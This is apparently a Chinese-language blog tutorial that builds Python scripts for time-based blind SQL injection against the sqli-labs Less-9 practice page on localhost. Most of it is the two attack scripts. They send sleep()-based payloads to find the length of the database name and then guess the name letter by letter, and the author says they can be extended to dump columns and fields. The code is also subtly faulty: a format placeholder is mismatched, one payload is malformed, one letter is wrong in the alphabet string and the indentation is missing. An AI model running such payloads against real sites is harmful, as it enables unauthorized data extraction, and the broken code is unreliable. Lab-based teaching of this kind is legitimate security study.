用py写一个时间盲注的脚本
1.
首先我们要清楚时间盲注的特点是利用了sql中sleep这个函数,借助的是响应时间不同来判断构造语句的对错,那么我们主要思路就要通过记录响应时间来执行一系列操作,下面是我写的一个简单脚本
2.
import requests
import time
for i in range(1,20):
url="http://127.0.0.1/sqli/Less-9/?id=1'and if(length(database())={i},1,sleep(5))--+"
headers={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0'}
real_url=url.format(i)
start_time=time.time()
requests.get(real_url,headers=headers)
if time.time() - start_time < 3:
print('database length is ' + str(i))
database_length=i
break
else:
pass
import requests
import time
dataname='abcdefghigklmnopqrstuvwxyz'
database=''
for l in range(1,9):
for real_dataname in dataname :
url="http://127.0.0.1/sqli/Less-9/?id=1'and if(left((select database()),{l})='"+database+"{1}+',1,sleep(3))--+ "
real_url=url.format(l,real_dataname)
headers={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0'}
start_time=time.time()
requests.get(real_url,headers=headers)
if time.time() - start_time < 2:
database+=real_dataname
print(database)
break
else:
pass
print('database is'+database)
第一个是判断数据库长度的,第二个是判断数据库的名称的,如果需要判断列和字段的名称,稍加修改即可
3.
现在我们来分析一下这个脚本
3.1首先我们要导入requests模块和time模块,因为我们要利用时间需要用到py的有关时间的函数,requests是我们需要向一个网址发送信息的必要函数
3.2 以判断sql靶场第九关数据库长度为例,我们先构造url(这里是以get方法传参的)和headers,用py中字典的方法,可以用burp抓包得到,然后我们用for循环和.format方法修改url中的变量并赋值给real_url,之后我们用requests.get(real_url,headers=headers)将数据提交,然后我们通过time.time()函数记录当下提交的时间并赋值给start_time变量,然后我们进行if判定,if time.time() - start_time < 2:就执行我们的语句,否则pass掉
3.3 关于执行次数,我这里用的是穷举,还有更好的方法是二分法,我后续会补充上来
|